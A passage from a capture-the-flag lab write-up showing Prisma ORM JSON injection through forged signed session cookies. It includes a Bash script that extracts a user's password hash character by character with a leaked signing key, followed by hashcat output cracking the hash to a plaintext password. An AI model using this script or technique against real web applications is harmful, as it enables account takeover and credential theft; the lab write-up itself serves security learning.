JSON Injection


During the earlier stage, I was able to achieve Session hijacking by manipulating the session token with the secret key string, and I found out that a suspected valid system user, wesley, is also a user within the web application. While this was a good find, the files uploaded by the wesley user did not provide much to proceed forward.

This made me to think that there could be other attack vectors apart from the session hijacking via impersonation.

The target web application uses Prisma ORM.

looking back at the source code, it uses one of prisma’s crud operations, findMany, to retrieve a set of various userdata from the current session cookie. That various userdata includes id, uploadedAt, size, name, private, authorId, and author selected by username Additionally, above userdata is render to the home.njk template using Numjucks to be displayed at the/home/ endpoint That is precisely how the web application is able to fetch the files uploaded by the current user when accessing the /home/ endpoint

In the context where the web application engages with the backend database through Prisma’s CRUD operations, which have been illustrated previously, it is reasonable to contemplate the potential for extracting additional sensitive information, such as passwords. Nevertheless, the primary focus revolves around the methodology employed to accomplish this extraction

Looking it up online, the first result shows one of the official documentations that demonstrates such method

clicking into the provided documentation above, i see a mention of the startsWith operator

an example

another example

This concludes that I might be able to extract the password attribute of a target user using the startsWith operator I should be able to convert the example queries of Prisma client above into JSON data.

{
    "flashes": {
        "info": [],
        "error": [],
        "success": ["You are now logged in."]
    },
    "user": {
        "id": 1,
        "username": "WESLEY",
        "password": {
            "startswith": "abc"
        }
    }
}

Like so. However, this raises a few concerns. Firstly, the accessibility of the password attribute is paramount for the success of this extraction endeavor.

  • It is imperative to acknowledge that if the password attribute is securely shielded through authentication measures, the proposed method will be rendered ineffective. Secondly, the prospect of meticulously examining each character of a password appears impractical if conducted manually.
  • The process would entail a tedious assessment, having the cookie-monster tool to individually re-sign the JSON data each character, followed by validation through a GET request to the /home/ endpoint of the target web application.

Therefore, I could attempt to automate the said process by creating a Bash script

Automating


#!/bin/bash
 
# JSON template
json='{
    "flashes": {
        "info": [],
        "error": [],
        "success": ["You are now logged in."]
    },
    "user": {
        "id": 1,
        "username": "WESLEY",
        "password": {
            "startsWith": "HERE"
        }
    }
}'
 
# Function to check if a given character is valid
check_password() {
    updated_json="${json//HERE/$1}"
 
    # Create a temporary file
    temp_file=$(mktemp)
 
    # Write the updated JSON to the temporary file
    echo "$updated_json" > "$temp_file"
 
    # Run cookie-monster with the temporary file and capture the output
    cookie_output=$(cookie-monster -e -f "$temp_file" -k '8929874489719802418902487651347865819634518936754' -n download_session)
 
    # Capture the download_session and download_session.sig cookies
    download_session_cookie=$(echo "$cookie_output" | grep -oE 'download_session=[^ ]+')
    signature_cookie=$(echo "$cookie_output" | grep -oE 'download_session\.sig=[^ ]+')
    cookie=$(echo "$download_session_cookie; $signature_cookie" | sed 's/\x1b\[[0-9;]*[mGKHF]//g')
 
    res=$(curl -s http://download.htb/home/ -b "$cookie")
 
    # Check if the response contains "AnnualReport2022.pdf"
    if [[ "$res" =~ "AnnualReport2022.pdf" ]]; then
        return 0
    else
        return 1
    fi
 
    # Remove the temporary file
    rm "$temp_file"
}
 
# Recursive function to find characters
find_chars() {
    local current_chars="$1"
 
    for char in {0..9} {a..z} {A..Z}; do
        next_chars="$current_chars$char"
        if check_password "$next_chars"; then
            echo "Found: $next_chars"
            find_chars "$next_chars"
        fi
    done
}
 
# Start the recursion
find_chars ""

This Bash script above performs a systematic process of recursively finding the value of the password attribute of the wesley user on a website. The main goal is to find the correct characters one by one that match the user’s password. Here’s how it works:

  1. A JSON template is established to simulate interactions with the website’s login system
  2. The script defines a function called check_password. This function utilizes an external program called cookie-monster along with a temporary file to simulate logging into the website with a guessed character. It then checks if this attempt is successful by accessing a web page
    • The JSON template is updated with the guessed character
    • A temporary file is created to store the updated JSON
    • A tool called cookie-monster is used with the temporary file to simulate logging in and capture a special cookie
    • The cookie is used to access the endpoint at /home/, and the response is checked for a specific string, AnnualReport2022.pdf
    • If the string is found, it means the guessed character is correct
  3. The script defines a recursive function named find_chars. This function iterates through numbers, lowercase letters, and uppercase letters to find each character of the password
    • Those potential characters are defined by MD5 hashing algorithm
    • For each guessed character combination, the check_password function is called to see if it’s correct
    • If a correct character is found, the process continues to find the next character
  4. The script initiates the recursive process by calling the find_chars function

Executing…

root@d1a6473e009f:~# ./bruteforce_passwd.sh
Found: f
Found: f8
Found: f88
Found: f889
Found: f8897
Found: f88976
Found: f88976c
Found: f88976c1
Found: f88976c10
Found: f88976c10a
Found: f88976c10af
Found: f88976c10af6
Found: f88976c10af66
Found: f88976c10af669
Found: f88976c10af6691
Found: f88976c10af66915
Found: f88976c10af669159
Found: f88976c10af6691591
Found: f88976c10af66915918
Found: f88976c10af669159189
Found: f88976c10af6691591894
Found: f88976c10af66915918945
Found: f88976c10af66915918945b
Found: f88976c10af66915918945b9
Found: f88976c10af66915918945b96
Found: f88976c10af66915918945b967
Found: f88976c10af66915918945b9679
Found: f88976c10af66915918945b9679b
Found: f88976c10af66915918945b9679b2
Found: f88976c10af66915918945b9679b2b
Found: f88976c10af66915918945b9679b2bd
Found: f88976c10af66915918945b9679b2bd3

Executing the Bash script find the value of the password attribute of the wesley user This is a MD5 hash string

Password Cracking


┌──(kali㉿kali)-[~/…/htb/labs/download/web]
└─$ hashcat -a 0 -m 0 wesley.hash /usr/share/wordlists/rockyou.txt
hashcat (v6.2.6) starting
 
OpenCL API (OpenCL 3.0 PoCL 3.1+debian  Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* device #1: pthread-sandybridge-11th Gen Intel(R) Core(TM) i9-11900H @ 2.50GHz, 2910/5884 MB (1024 MB allocatable), 6MCU
 
minimum password length supported by kernel: 0
maximum password length supported by kernel: 256
 
hashes: 1 digests; 1 unique digests, 1 unique salts
bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
rules: 1
 
optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
 
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
 
watchdog: Temperature abort trigger set to 90c
 
host memory required for this attack: 1 MB
 
dictionary cache hit:
* filename..: /usr/share/wordlists/rockyou.txt
* passwords.: 14344385
* bytes.....: 139921507
* keyspace..: 14344385
 
f88976c10af66915918945b9679b2bd3:dunkindonuts             
 
session..........: hashcat
status...........: Cracked
hash.mode........: 0 (MD5)
hash.target......: f88976c10af66915918945b9679b2bd3
time.started.....: Tue Aug  8 15:07:16 2023 (0 secs)
time.estimated...: Tue Aug  8 15:07:16 2023 (0 secs)
kernel.feature...: Pure Kernel
guess.base.......: File (/usr/share/wordlists/rockyou.txt)
guess.queue......: 1/1 (100.00%)
speed.#1.........:  3894.6 kH/s (0.15ms) @ Accel:512 Loops:1 Thr:1 Vec:8
recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
progress.........: 150528/14344385 (1.05%)
rejected.........: 0/150528 (0.00%)
restore.point....: 147456/14344385 (1.03%)
restore.sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
candidate.engine.: Device Generator
candidates.#1....: mckinley1 -> claudette1
hardware.mon.#1..: Util: 37%
 
started: Tue Aug  8 15:07:15 2023
stopped: Tue Aug  8 15:07:18 2023

Hashcat cracked the password hash for the wesley user The cracked password is dunkindonuts

Since the target system has a SSH server up and running, I will test the credential against it